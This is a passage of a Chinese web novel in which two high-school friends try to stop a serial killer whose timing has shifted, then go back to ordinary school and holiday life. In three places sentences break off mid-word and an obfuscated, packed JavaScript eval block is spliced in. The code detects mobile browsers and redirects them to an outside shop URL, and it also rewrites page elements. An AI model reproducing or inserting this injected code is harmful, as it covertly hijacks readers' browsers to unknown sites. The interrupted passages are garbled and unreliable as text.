如果不是夏迟,他可能没有办法下定决心,而当他坐在座位上告诉夏迟自己拜师的消息时,夏迟也由衷为他高兴,“太好了,我就说嘛,舞台上的你最帅了,你就是为舞台而生,你跳舞时身上都带着光。” 乔颂:“无论如何,我都该和你说声谢谢。” 夏迟大方的摆摆手,“不用,乔颂,你以后一定要好好的,我期待在电视上看到你的表演,到那时我肯定跟周围人全都吹一遍,说这就是我朋友,羡慕死他们。” 这时,门口那边有人叫夏迟去办公室拿作业。 等到夏迟离开,乔颂拿出了下午要用的课本,却不小心瞥见一直趴桌上睡觉的陆尘不知什么时候摘掉了半边耳机。 他俩之间其实没什么矛盾,上次吵过之后也就算了,谁都没再提那件事。可现在乔颂心情好,他不知道陆尘从什么时候开始偷听的,但就是突然想搞个小小的恶作剧。 他拍了拍沉浸在游戏中的钟景明。 钟景明不情不愿的分给他一个眼神,“干嘛?” 乔颂带着一点嘚瑟的语气,“你刚才听到了吗?夏迟夸我跳舞帅诶。” 钟景明:“……” 他下意识的看向前面的陆尘,发现他没了半边耳机后,觉得这不是自己该参与的话题,于是也拿出了自己的耳机,插进插孔,默默戴上。 ——还是游戏好,游戏最单纯了。 26. 第二十六章 五一假期如期而至,在所有人都沉浸在假期的美好中时,只有夏迟心事重重。 因为五月一日就是那个杀人犯再次出现的日子。 当天,夏晚睡到中午才起床,简单吃过午饭便打电话约徐婷婷一起去逛街,顺便再买一份本月新出的星座杂志。 而夏迟则赖在了陆尘家,按计划写完卷子后,便躺在沙发上发呆。 “有什么好担心的。”陆尘比她冷静许多,“晚上不是说好我跟你一起去吗,要是那个凶手敢出现,肯定能把他当场抓住。” 夏迟轻轻摇头,“你相信第六感吗,我总觉得这事不能像我们想象的那么顺利。” 陆尘:“你就是瞎操心。” 夏迟:“也许吧,谁知道呢。” 她好久没剪过头发,头发已经超过了肩膀的位置,按照一中的规定,要么剪短,要么用头绳扎起来。 陆尘伸手将她的头发拨到耳后,盯了片刻,脑中突然有了一个想法,“头发太长了,我给你扎起来吧。” 夏迟:“你哪儿来的头绳。” 陆尘:“夏晚上次落这儿的,让她拿走她也不记得。” 夏迟思考片刻,“行吧。” 她双手撑着坐起来,靠着沙发背,陆尘去到门口鞋柜那里,打开放在上面的饼干盒,从钥匙、硬币等一众杂物中翻翻找找,最终找到了一根头绳。 头绳很细,用在夏迟这种半长不短的头发上正合适。 纤长的手指轻轻抚过头皮,痒痒的又很舒服,柔软的发丝被陆尘拢到一处,夏迟觉得头皮紧了一瞬,而后便听见陆尘满意的声音,“搞定。” 可夏迟总觉得不太对劲,她抬手摸摸头顶,果然发现了陆尘的恶趣味,“谁让你给我扎冲天揪的?!” 陆尘趴在沙发背上笑的直不起腰,“要不是你头发不够长我就给你扎俩丸子,哪吒哈哈哈哈哈……” “你等着!”夏迟气的揪揪都在晃,当即放了狠话,她风风火火跑回隔壁,两分钟后又风风火火跑了回来,手里还拿着一包没开封的、花花绿绿的橡胶头绳。 陆尘:“……” 他见夏晚用过这种,还是小学的时候,夏晚扎着两根辫子,然后用这种头绳将辫子分扎成一节一节。 陆尘:“OK,我认输。” 但夏迟绝不会轻易放过他,她追着陆尘绕着沙发跑了三圈,最终将对方擒拿归案。 “看你还往那儿跑。”夏迟将他双手反剪按趴在沙发上,虚虚骑坐着他的腰,头上的小揪得意洋洋,“陆尘同学,不是不报时候未到啊。” 她拆开外包装,哪个颜色鲜艳选哪个,十几分钟后,陆尘脑袋上花花绿绿非常辣眼睛。 陆尘彻底放弃挣扎。 于是夏迟又玩了半个小时,还非要拽他起来、拉着他去卫生间对着镜子欣赏一下自己的杰作。 陆尘无语叹气,抬手弹了一下她的小揪揪,以表示自己的不满。 二人重新回到客厅,等到夏迟坐下,陆尘身体一歪直接枕在了她的腿上,“给我拆下来,轻点。”这种头绳粘头发,弄不好的话会很疼。 这时夏迟才意识到这哪是戏弄陆尘啊,这分明是给自己找麻烦。 …… 下午五点多,夏晚十分明智的直接打通了陆尘家电话,告诉夏迟她和徐婷婷打算再去逛逛夜市,不回家吃饭了,让她和陆尘自己解决。 陆尘做了一盘柿子炒鸡蛋,夏迟煮了两碗面,过凉水后将柿子炒鸡蛋倒上去当做卤子,再加上冰箱里的一点小咸菜,对付一口当做晚饭。 七点整,二人换好衣服准时走出家门。 206住宅旁边是化工厂住宅,中间有着一条可供卡车通过的胡同,通向后面的小型木材厂以及未来得及改建的平房区。 今天的命案就发生在这条胡同中。 木材厂的老板为了多存货就将部分原木靠墙堆在了胡同里,用防水布盖好后再用绳子固定。这本来是违规的,但因为缺乏管理,没人去找老板的麻烦,周围居民也都习以为常。但堆放的原木堆产生了很多视觉死角,再加上胡同里没有路灯,入夜后黑漆漆一片,只能靠着微弱的月光分辨脚下的路,大人们怕坏人藏在里面,都叮嘱自家小孩天黑后离胡同远一点。 但今天的受害者是一个初一学生,性别男,家就住在后面的平房区,这条胡同是他每天回家的必经之路。 他成绩普普通通,家长希望他能好好学习,咬着牙从每个月的生活费中省出一部分钱给他报了课外班。 他就是在放学回家的路上,在胡同里遇到了凶手,并被残忍的杀害。 夏迟和陆尘来到了胡同这边。 黑漆漆的胡同仿佛一条通向地狱的不归路,过堂风从里面吹出,带着湿冷的气息以及腐败的味道。 夏迟深吸一口气做好了心理准备,“走吧,我们……诶?韩老师。” 韩途生就住在隔壁的化工厂住宅,习惯在晚饭后在附近散步,没想到今天能遇到两个学生,“咋这么晚还不回家,前段时间刚报了飞车党抢劫的新闻,早点回家别让家长担心。” 夏迟:“老师,我俩也是刚吃完晚饭,就在附近走走,一会儿就回去了。” 现在是放假时间,韩途生似乎不想管太多,他扭头看了一眼黑漆漆的胡同,好像想起陆尘之前读了什么乱七八糟的书,又叮嘱道:“听家长的话,别去不该去的地方。” 夏迟:“知道了,老师您慢走哈~” 为了不让韩途生起疑去找家长告状,二人特意避开了这里,等到视线中再也看不见韩途生的身影,才重新折返。 微弱的月光只能让他们大致看清四周的轮廓,巨大的原木堆仿佛隐匿在黑暗中的野兽,带着不可忽视的压迫感,夏迟深一脚浅一脚带着陆尘来到印象中的案发地,停下脚步,“就是这儿了,再过半小时,那个小孩就会从这里路过,被凶手反绑双手掐死在这儿。” 陆尘点点头,随即开始寻找二人的藏身地。 然而胡同里除了原木并没有其他东西。 陆尘走到距这里最近的一个原木堆,试着扯了扯盖在上面的防水布,发现绳子只是将这些木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13123295|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头打捆绑住,侧面只是意思意思盖住而已。 他将防水布掀开一条缝,带着夏迟钻了进去。 里面的味道并不好闻,但勉强可以忍受,夏迟怕被凶手从外面看出异样,只好和陆尘不停后退,直到陆尘退无可退才停下来。 “后面没地方了。” 此时的夏迟后背贴着陆尘前胸,隔着薄薄的衣服甚至可以清晰感知彼此的心跳。 “唉……”陆尘轻轻叹了口气,随即伸出双手轻轻环抱住她的腰,耳语道:“夏迟,我上辈子一定是欠了你什么,这辈子来还债了。” 感受着腰间的力量,夏迟没有说什么,就这样靠在他的怀里,“哦,看来你很有自知之明,那就别抱怨了,好好还债吧,争取早日还清。” 陆尘:“还不清怎么办?” 夏迟:“那就下辈子继续还。” 小孩还有一会儿才能过来,夏迟待着无聊,沉默了十几分钟实在忍不住了,“说点什么吧,咱俩这样好像两个傻子。” 陆尘觉得此话有理,于是问了她一个一直想问的问题,“放假前那天中午,你为什么说乔颂长得帅啊?” 夏迟:“……” 陆尘:“说话啊,这个问题很难回答吗?” 夏迟倒是没觉得不好回答,因为乔颂站在舞台上就是很帅,这是事实,只不过被陆尘这么一问,她总觉得对方语气里有种酸溜溜的感觉。 她脑袋一热,反问道:“陆尘,你在吃醋吗?” 然而话说出口她才意识到自己措辞不太恰当,刚想纠正,却听见陆尘大大方方的承认,“我吃醋不行吗?夏迟你这人就没良心,我和你从小一块儿长大,天天陪你风里来雨里去,现在还在这破地方蹲凶手,你不夸我你夸他?” 夏迟:“……” 夏迟:“好吧,你也帅。” 陆尘:“敷衍。” 夏迟故作夸张,“陆尘小哥哥最帅啦~我就没有见过比陆尘小哥哥更帅的人哦,每天都能见到陆尘小哥哥我超幸福的呢~~~” “嘶……”陆尘打了个哆嗦,“算了吧,有点恶心。” 夏迟:“你说得对,我说完也觉得恶心。所以不是我不夸你,只是对于我夸你这件事,咱俩都接受无能。” 二人重新闭上嘴巴。 等到了时间,夏迟和陆尘果然从防水布缝隙中看到一个背着书包的身影,待到他稍稍走远,他们便轻手轻脚从防水布里钻出,牵着手不紧不慢的跟在他的身后。 然而所谓的凶手根本没有出现。 他们一路看着那个小孩穿过胡同、来到平房区、进了家门,甚至透过窗户看见父母招呼他洗手吃饭。 “靠,不是吧……” 夏迟有点崩溃,她没记错,她不可能记错,那些资料早就烂熟于心,绝对不会出现差错的。可现实却狠狠给了她一巴掌,仿佛之前做过的功课都只是在开玩笑一样。 陆尘垂下眼帘,不知在思考什么。片刻后,他晃了晃二人紧紧牵着的手,低声道:“今天看来什么都不会发生了,先回家吧。” 27. 第二十七章 那个凶手就像是突然人间蒸发了一样,五月一日什么都没发生,五月二日什么都没发生,然而就在夏迟忐忑不安之时,五月三日临近中午,她在家里接到了李桂梅从店里打来的电话。 李桂梅说胡同那边出了命案,现在警察已经封锁了现场,让她和夏晚老老实实在家待着哪儿都不许去。 挂断电话后,夏迟心情复杂,一是庆幸凶手出现可以获得线索,一是焦虑为什么作案时间会产生偏差,如果还像原来那样,她就可以抓住凶手,那个孩子也就不会死。 所以,听话是不可能听话的,她和夏晚说明了情况,让她千万别出门,然后便去隔壁找陆尘,拉着他直奔现场。 警方在胡同口拉了一条警戒线,夏迟和陆尘赶过去的时候,外面已经聚集了不少看热闹的人。 他们挤不进去,只能在人群外侧听着大家七嘴八舌的议论着死者和凶手,夏迟默默听了片刻,发现几乎都是他们的猜测,根本没有实质性的内容。 “诶,夏迟陆尘,你俩怎么在这儿。” “乔颂?”夏迟闻声看去,“倒是我该问你,我记得你家不是在江边吗?” 乔颂:“我搬过来和姥姥姥爷一起住了啊,就在旁边的化工厂住宅。” 夏迟:“我俩住旁边的206,那你现在……” 她低头看见乔颂手里拎着的黑乎乎的1L装塑料桶,“要去打酱油?” 乔颂:“是啊,正准备去打酱油,结果看到这边围了一堆人,还看到了你俩,他们到底在干吗啊?有啥那么好看的。” 陆尘:“里面死人了,大家在看热闹。” 乔颂:“……” 他好像就不该问这个问题。 眼看绝对挤不进去,夏迟也放弃了,她的心好累,累得要死。 她和陆尘无所事事,只好陪着乔颂一起去打酱油。 这附近只有杜司宇一家在开小卖部,206和化工厂的住户都来这边买东西,乔颂刚搬来几天,乍一见到杜司宇还挺意外,“原来大家住的这么近。” 杜大海在外面进货还没回来,杜司宇坐在柜台后一边看店一边发呆,赵玉红则在后面的厨房准备午饭,听到夏迟他们来了,热情的表示一定要留下吃个午饭再走。 起初乔颂不太习惯,想着打了酱油就回家,但夏迟把他按在座位上,小声道:“你不吃点什么红姨会不高兴的。” 没办法,他只好借用杜司宇家的座机给姥姥打了电话,说自己在同学家玩呢,会吃了午饭再回去,让他们不用等自己了。 沈寻芳笑呵呵的叮嘱他好好和同学玩,说姥爷炸的小酥鱼可好吃了,下次带点过去和同学们一起吃。 赵玉红做了鸡蛋瓜片、孜然火腿肠、还有一大盆豆角土豆炖排骨,出锅后满屋子都是香气。 “我可好久都没尝尝红姨的手艺了。”夏迟也不管烫不烫,直接从盆里捏出一块排骨塞进嘴里,“啊嘶……唔……好吃……” 赵玉红就喜欢看她吃东西的模样,小脸圆乎乎的特别有福气,“哎呀,我真是羡慕你妈,能有俩姑娘。” 莫名中枪的杜司宇已经听麻木了,“妈,我是男的就那么让你难受吗?” 赵玉红:“也不是难受,但总和姑娘差了点什么。” 旁边的陆尘和乔颂不知想到了什么,没忍住,噗的一下笑出了声。 “笑笑笑,天天就知道笑。”杜司宇把电饭锅端来,帮着盛饭,给他们每人盖了满满一大碗,“多吃点好堵住你们的嘴。” 前面的柜台还需要有人看着,赵玉红自己找了个盘子夹好了菜,便拿着去前面吃了。 裹着蛋液的瓜片、外酥里嫩的火腿肠、起沙的土豆豆角、以及软烂可口的排骨,一筷子进嘴后四人再没有多余的话,三个大男生风卷残云,吃完后又添了一碗饭,夏迟倒是一碗饭可以吃饱,但她觉得自己还能再吃点,于是又夹了块大脊骨,按照骨缝掰成小块,放在嘴里嗦肉吃。 盆底的汤被杜司宇包了,肉汤里混着化成沙的土豆泥,他倒在碗里拌饭吃,超级香。 乔颂把最后一块火腿肠塞进嘴里,他第一次觉得和朋友坐在一起吃饭可以吃的这么香。然而对他而言,接下来要面临一个很严重的问题,“我吃了这么多,回去得做多少运动才能消化啊。” 杜司宇呼噜呼噜往嘴里扒饭,“啥意思,咋还得运动呢?” 乔颂:“我要跳舞啊,吃多了会胖的。” 杜司宇:“靠,真麻烦,还好我不想学了。” 吃饭多香啊,如果人生不能随心所欲的吃饭,那还有什么乐趣。 陆尘:“你不也在吃食堂吗?咱们食堂重油重盐的,你每天回家都要做运动?” 乔颂:“以前我又不是专业的,身材保持在一定程度就可以,但现在跟着侯老师学习,对饮食也有要求。” 陆尘:“比如?” 乔颂:“五一假期结束后,我就得中午带饭了,苞米、鸡胸肉、水煮青菜、水煮蛋白、清蒸鱼肉,低糖低脂配合蛋白质和维生素。” 夏迟砸么砸么嘴里的肉味儿,觉得乔颂好惨,小小年纪就要与美食无缘,但为了梦想,这些都是必须忍受的。 “哈哈哈哈那你也太惨了。”杜司宇一不留神替夏迟把心里话说了出来,“其实我妈最拿手的菜是糖醋排骨和地三鲜,没出锅都老香了,可惜,你吃不了。” 陆尘还在旁边添油加醋,“夏叔最拿手的菜是锅包肉和烤串,店就在小区门口,一会儿你回去的时候会路过,可以站在门口闻闻味儿,记住这个味道,晚上吃水煮白菜的时候想一想,把它当做肉串来吃。” 只有善良的夏迟不打算刺激他,但眼中充满了同情。 乔颂人都麻了,眼神逐渐放空,无欲无求。 等杜司宇吃完最后一口,他把桌上的空碗空盘子摞在一起,打算休息一下再去刷。 蓦地,他想起一件事,“诶,胡同口那边出事了,你们知道吗?” 夏迟:“我们就是从那边过来的,本想挤进去看看啥情况,结果失败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153240|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 但也有意外收获,比如在街上捡到一只要去打酱油的小乔同学。 杜司宇嘿嘿一笑,“我有最新情报,你们想听吗?” 陆尘:“你从哪儿知道的?” 杜司宇:“这就是家里开小卖部的好处了,说出来你们可能不信,最早发现尸体那个人,是跑来我家打电话报的警。” 这附近只有一家小卖部,杜司宇不仅听到了那个人报警,甚至还见到几个率先到达现场的人过来买烟,并从他们嘴里听到了一些关于死者的消息。 就在胡同里某个原木堆旁边,一个初中小孩被人反绑双手活活掐死,警方在现场没找到什么有用的线索,除了半个橡胶鞋印,但暂时无法确认是不是凶手留下的。 陆尘下意识看向夏迟。 虽然时间对不上,但夏迟所说的杀人手法却是真的。 乔颂叹气,“太残忍了。” 杜司宇:“可不咋地,好好一个小孩,说杀就杀了,据说他爸他妈听到消息赶到现场都哭厥过去了,警察劝了好半天,根本说不出来话,可能现在还在那儿哭呢。” 夏迟还想多了解一些,只可惜这就是杜司宇知道的全部,毕竟警方现在都没什么线索,杜司宇也不会听说太多。 离开小卖部后,夏迟和陆尘没有急着回家,反而散步似的溜溜达达,来到了附近的小公园。 退休后的爷爷奶奶们喜欢来这里呼吸新鲜空气、拿着收音机散散步、下象棋,里面也配备了一些简单的设施,比如单杠以及孩子们喜欢的大转盘。 夏迟和陆尘在花坛边坐下。 不远处有一群老爷爷围观下象棋,看着棋盘上二人你来我往互相进攻,时不时的发出喝彩。但此刻的夏迟心情复杂,她觉得自己如果是一名棋手的话,一定是个失败的棋手,她明明提前知道了所有信息,但仍旧对这个凶手无能为力。 “想什么呢?”陆尘问道:“走神好半天了。” 夏迟没有回答,反而拽过他的手掌,对着手心狠狠锤了几拳。 陆尘:“嘶……好好说话,别发疯。” 夏迟丧气的佝偻着身体,没精打采,“陆尘,我好失败啊,你知道这种感觉吗?就好像我提前知道了期末考试所有的题,但考完发现钟景明还是第一。” 陆尘:“……” 他让夏迟换个比喻,因为这个比喻扫射面太大,他自己也是受害者。 夏迟:“这不是换不换比喻的问题,就是……他……唉,我现在都不知道该怎么办了。” 凶手是一定要抓到的,但是去哪儿抓,什么时间去抓,现在都变成了未知数。她现在甚至隐隐怀疑自己看到的那些资料是不是真实的,是不是大脑受到了什么干扰以至于记忆出现偏差。 他看出了夏迟的懊恼与自责,体贴的搂着她的肩膀晃了晃,权当安慰,然后提出了一个自己的想法,“或许这都不是你的问题。” 夏迟:“什么意思?” 陆尘:“你听说过蝴蝶效应吗?” 28. 第二十八章 夏迟当然知道蝴蝶效应。 这是指一个微小的变动能够引发一系列的连锁反应,从而改变既定的结果。夏迟仔细想了想,整件事中唯一的变数好像只有自己,“你的意思是,是我不小心做了什么,才改变了未来会发生的事。” “没错。”陆尘用乔颂的事给她举例,“如果你的记忆没有出错,那么乔雅将死在四月二号,可现在乔雅还活的好好的,是因为你提前找了乔颂,问了他有关乔雅的事,让他起了疑心也赶到了现场,而且你还在进入二实验之前报了警,两者综合起来,凶手没有出现,乔雅也安然无恙。” 夏迟也明白这个道理,“我同意你说的话,可问题是,这次这个小孩我不认识啊,我没和他说过话甚至那天是第一次见面。咱俩还提前检查过胡同,当时里面除了咱俩根本没别人,凶手不可能知道咱俩会在那里蹲点。我没有对受害者和凶手做出任何干扰。” 陆尘思考片刻,“或许是间接影响。” 他随手捡了一根小树枝,在地上画了一个圈,“这个是受害者。”然后用线连向另一个圈,“这个是凶手。” 接下来陆尘又画了第三个圈,这个圈连向了凶手,“那个小孩正常放学回家,符合你的记忆,所以没有被你干扰,出现问题的只可能是凶手。” 他在第三个圈上着重点了点,“你干扰的可能是这个人,而这个人又和凶手有联系,相当于你间接干扰了凶手,让他改变了原来的计划,受害者不变,但是时间上出现了延迟。” 夏迟猛然想起自己在家门口遭到袭击的事。 在医院,她曾经和乔颂怀疑凶手可能是认识的人,如果这个假设成立,那陆尘的推理就成立。毕竟每个人的交际圈子就那么大,彼此之间认识、联系都很正常。 夏迟:“好吧,我承认你说的可能是对的。” 陆尘纠正道:“不是可能,是一定对,因为这是唯一的解释。” 只是现在还不知道,被夏迟影响了的“第三者”是谁。 “你还打算继续查吗?”陆尘问道:“从你影响到这个人开始,后续的发展可能会产生巨大转变,单凭你所掌握的,未必能找到凶手。说难听一点,你那些所谓的线索,很可能毫无用处。” “查!”夏迟斩钉截铁回答道:“不抓到这个凶手,我这辈子都不安心。” 陆尘不明白她的执著,但看她始终坚持,也不好多说什么。 她从小就是这样,认定了的事情总是一条路走到黑,哪怕撞了南墙,也有拆墙的勇气。 陆尘:“凶手下次行凶是什么时候?” 夏迟:“下个月。” 陆尘:“他还挺守时,就每月一次呗。” 夏迟:“是的呢。” 陆尘:“那我们姑且算他下个月行凶,在这之前,咱俩得多留意一下周围的人,看看谁最可能和凶手有联系。” “但你也要做好心理准备。”陆尘提醒道,“我们也不知道你对凶手的影响会造成多大的偏差,只能说尽人事听天命,万一真的抓不到你也得接受这个结果。” 夏迟心说这要怎么接受,上天给了她这个机会,她不可能再看到夏晚出事。可她现在确实做不了更多,好在目前只是时间上略有偏差,整体还在可控的范围内。 夏迟:“嗯,不过我相信我肯定能抓到他。” 如果不是胡同口那边发生了命案,今天绝对是个阳光明媚令人心情舒畅的好日子,夏迟慵懒的抻个懒腰,看着天上的白云,一时间思绪万千。 “诶,问你个事。”陆尘突然戳戳她的肩膀,“你得老实回答我。” 夏迟:“好啊,你说。” 陆尘:“你将来,打算找个什么样的男朋友啊?” 夏迟:“……” 她觉得陆尘哪儿哪儿都好,就是偶尔思维跳的太快,比如刚才还在聊凶手,现在立刻跳到了男朋友的问题上,快到让她大脑卡壳。 但她和陆尘认识这么多年,早就习惯了。 陆尘:“说啊,这个问题有那么难回答吗?” 回想起自己的种种经历,夏迟轻轻摇头,“不打算找,一个人待着挺好的。”似乎是怕陆尘继续追问,她反过来问道:“那你想找个什么样的女朋友啊?” 陆尘梗着脖子,像是在和谁赌气似的,语气凉飕飕,“不打算找,一个人待着挺好的。” 夏迟:“……学人精,懒得理你。” 风吹过耳边的碎发,糊在脸上痒的厉害,夏迟艰难的把它们拢到耳后,“走,陪我去买头绳。” 陆尘:“你说去就去啊。” 夏迟:“大哥,你突然之间自己搁那儿别扭啥呢。” 陆尘:“要你管。” “我不管你谁管你。”夏迟站起身拍拍屁股上的灰,“去商场那边,我请你吃冰糕。” 陆尘:“不吃。” 夏迟:“那吃牛排,牛排好了吧。” 陆尘犹豫片刻,朝她伸出手,“拉我起来。” “懒死你得了。”夏迟握住他的手用力将他拽起来,二人并肩往商场那边去,紧紧牵着的手却始终没有分开。 商场前面的人行道上有不少人在摆地摊,防水布往地上一铺,上面放着各种各样花花绿绿的小玩意,也有卖鞋垫和炒瓜子的。 这个时候人不算多,夏迟拉着陆尘来到炸牛排的推车前,付了两份的钱,让陆尘在这边等,自己先去小摊上买头绳。 切得薄薄的牛排外面裹着面包糠,过油之后外酥里嫩,两块钱一份,是附近小孩最喜欢的零食之一。 摊主是个热情的大叔,四十出头,套袖带着洗不掉的油渍。他以为陆尘是放假的大学生,聊天时流露出对知识的羡慕,“我孩子要能像你这么出息就好了。” 他用夹子将锅里的牛排翻个面,又看向不远处蹲在马路边挑选头绳的夏迟,“她是你对象吗?” 陆尘沉默。 因为这个问题他不知道该怎么回答。 好在这时又来一人买牛排,大叔便和他聊了起来,也没再问陆尘关于对象的问题。 然而这个问题就像根扎在心里的刺,让陆尘非常不舒服,等到自己那份牛排出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165272|136739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅、被摊主用刀切块装盒后,陆尘拎着两个袋子要去找夏迟,但脚步一顿,又转了回来。 大叔以为自己给他拿错了,还没等问他回来干嘛,陆尘特别认真的回答了刚才的问题,“她不是我对象,是我发小。” 大叔:“……啊?” ——这问题这么重要吗?还值得特意回来说一遍。 大叔在这儿摆摊好几年,奇怪的人见多了,也不差陆尘一个,“哦,发小啊,发小也挺好的哈哈哈……” 陆尘:“但她以后会是我对象,我保证,绝对是。” 大叔:“……” 总归今天没有别的事情,二人并不着急回家,上午李桂梅那通电话早被夏迟忘在脑后,她和陆尘拿着牛排进了商场,边吃边逛,等到解决完手里的食物,夏迟找了个公共电话打回家,说自己现在在商场,问夏晚有没有什么要买的,她可以一起带回去。 于是夏晚点名要了一本星座杂志。 路边的报刊亭,摊主把夏晚要的杂志从窗口递出,“你说这巧不巧,今儿个刚到的货,你昨天来都买不着。” 夏迟将杂志翻了个面,直接去看印在上面的标价,“五块钱?” 摊主:“对,就五块。” 夏迟:“……” ——还就五块?很贵了好不好,已经可以再吃两份牛排外加两杯五毛钱的冰糕。 夏迟忍着肉疼偷偷问陆尘,“你觉得夏晚会给我报销吗?” 陆尘:“她不是每月月初就会把零花钱花光吗,你觉得呢?” 隔着一层玻璃,摊主没听清他们在聊什么,以为是夏迟对这本不满意,于是又拿出了另外一本,杂志还是那本杂志,但这个是豪华版,里面还附赠一颗本月的开运水晶、随机一张星座卡片、以及一本性格测试小册子,“这个八块,老值了,卖的最好。” “值个屁……”夏迟小小声嘀咕,“也就夏晚那种冤大头才买。” 陆尘提醒道:“现在这个冤大头是你。” 两份杂志摆在手边,夏迟内心崩溃了好几个来回,默念“她是我姐是我姐是我姐”“我俩得相亲相爱相亲相爱相亲相爱”,最终买了八块钱的豪华版。 他俩找到卖冰糕的地方,要了两瓶汽水找了个位置坐下,迫不及待的拆开看。夏迟拿着那颗号称能开运的水晶对着阳光看,“夏晚天天戴这些东西也不好使啊,咋还想着买呢。” 还有那本小册子,纸张薄的稍稍用力一点都能戳破,印刷技术也很差,夏迟翻着看了两页,越看越心烦,“就这破玩意要我八块钱,咋不去抢呢。” 陆尘一脸淡定坐在对面,翻开那本杂志,好巧不巧看到一个星座配对。 他对这些没兴趣,但经不住夏晚天天在他俩面前念叨哪天出生的是什么星座,性格如何爱好如何,等等等等。 夏迟是狮子座,陆尘是水瓶座。 陆尘下意识去看这两个星座配对,不看还好,看完发现匹配程度才有百分之六十。 他烦躁的厉害,合上杂志丢到夏迟面前,“胡说八道,一看就是盗版的!” 29. 第二十九章 返校的第一天,学生们还沉浸在假期的生物钟里没有走出来,一大早没精打采神色怏怏,甚至眼底还带着黑眼圈,一看昨晚就没少补作业。 然后,钟景明便从办公室取回了上次的月考成绩单,又引起一片哀嚎。 韩途生为了让他们精神一点,特意让钟景明站在讲台上当众朗读名次,这次夏迟考了第二名,比陆尘高了三分。 她得意洋洋朝陆尘扬起下巴,指了指被他占据的靠窗的座位,小声道:“今天下午,这个位置就是我的了。” “商量个事呗。”人在屋檐下不得不低头,陆尘在书桌下面扯着她的袖子,“我还坐这儿,你提个条件。” 夏迟:“什么条件都可以?” 陆尘:“什么条件都可以。” 夏迟想了想,“那你帮我打饭吧。” 一中的食堂需要学生自己取餐盘再去窗口打饭,每次都要排队很长时间,是个相当折磨人的事,夏迟懒得动,用这个当做条件换座位归属权,还是很合适的。 “嘶……”陆尘咂舌,“我发现你……” “诶诶诶。”夏迟打断他的话,“陆尘同学,好歹是班长,班长要讲究诚信,刚还说了什么条件都可以呢,总不能自己说话当放屁吧。” 陆尘:“我说的话我承认,但你这要求确实过分了啊。不信你自己算,每周上学六天,每月四周,午饭晚饭都在学校吃,我得帮你打饭五十次,玩呢啊?” 夏迟认真纠正道:“你能不能严谨一点,周六那是全天吗?咋能算出来五十次。” 陆尘:“四舍五入。” 夏迟:“光往上入不往下舍啊,小学老师听完都被你气哭了。” 谁知话音刚落还没等陆尘回答,夏迟突然感觉身后的乔颂在轻轻踢她的椅子,本来想要问问啥事,结果一抬头就对上了韩途生的视线。 ——哦,原来唠嗑被老韩看到了。 于是她乖乖闭上了嘴巴。 下午的体活课照例要大扫除加调换座位,不过杜司宇好像有什么事,和韩途生商量了一下,便将时间压缩在了半节课内。 钟景明守着自己的座位岿然不动,陆尘最终接受了夏迟的条件,仍旧坐在靠窗的位置。只不过这次,钟景明对座位问题格外关注,等到乔颂搬着桌椅进来的时候,他赶紧招呼,“过来过来,你还坐这儿。” 乔颂倒是对自己坐哪儿没什么太多想法,但他实在好奇,放下桌椅坐好后,问道:“为啥非要我坐这儿?” 对他这种懂事的行为,钟景明心满意足,难得愿意分出点时间为他解惑,“因为你要学跳舞啊。” 按照侯丽萍的安排,乔颂现在只需周末和每天放学后去上课,等上了高二就要延长学习时间,甚至遇到重要的比赛还要和学校请长假。 这对钟景明而言是个好事,他不喜欢有同桌,但班级人数是双数,没办法,既然这样就只能找个省心一点的。乔颂就是个很好的选择,他上课的存在感很低,也不会交头接耳传纸条,再加上要去学舞蹈,在校时间明显比其他人要少很多。 所以,钟景明打算好好培养一下他的习惯,“你以后无论考多少名,都坐我旁边,不用担心抢不到,因为没人跟你抢。” 乔颂:“……” 陆尘忍不住回头,“你都不问问他的意见?” 钟景明:“为啥要问,做我同桌不好吗?我上课都不打扰他学习,甚至可以借他抄作业。” 夏迟:“你都和人家做了一个月同桌了,你没发现他从来不抄作业吗?” 钟景明:“是吗?” 乔颂心累叹气,“算了,没事,坐哪儿都一样,挺好的。” 钟景明满意的点点头,继续低头玩游戏。 等到全班同学全部坐下,杜司宇拿着纸笔走上讲台,“那啥,说个事。”他扬起手里的纸张抖了抖,“下半月咱们要开运动会,今天正好大扫除还剩了点时间,就敲定一下报名的事,除了接力以外,原则上每个人不允许超过两项。” 这是升入高中后的第一个运动会,大家听说不用上课并且能以运动会的名义额外朝家长要零花钱买零食,都很积极。 “一个个说,要不我记不住。”杜司宇咬开笔帽,趴在讲桌上认认真真的将名字填写进对应的表格,“想好什么项目抓紧报,先到先得啊。” 然而等该记的都记完杜司宇才发现人数不够,有好几个项目根本没人报。 与此同时下课铃打响,杜司宇只能先让大家下课,他站在讲台上四下看了看,视线最终落在了班级后排靠窗的那个角落。 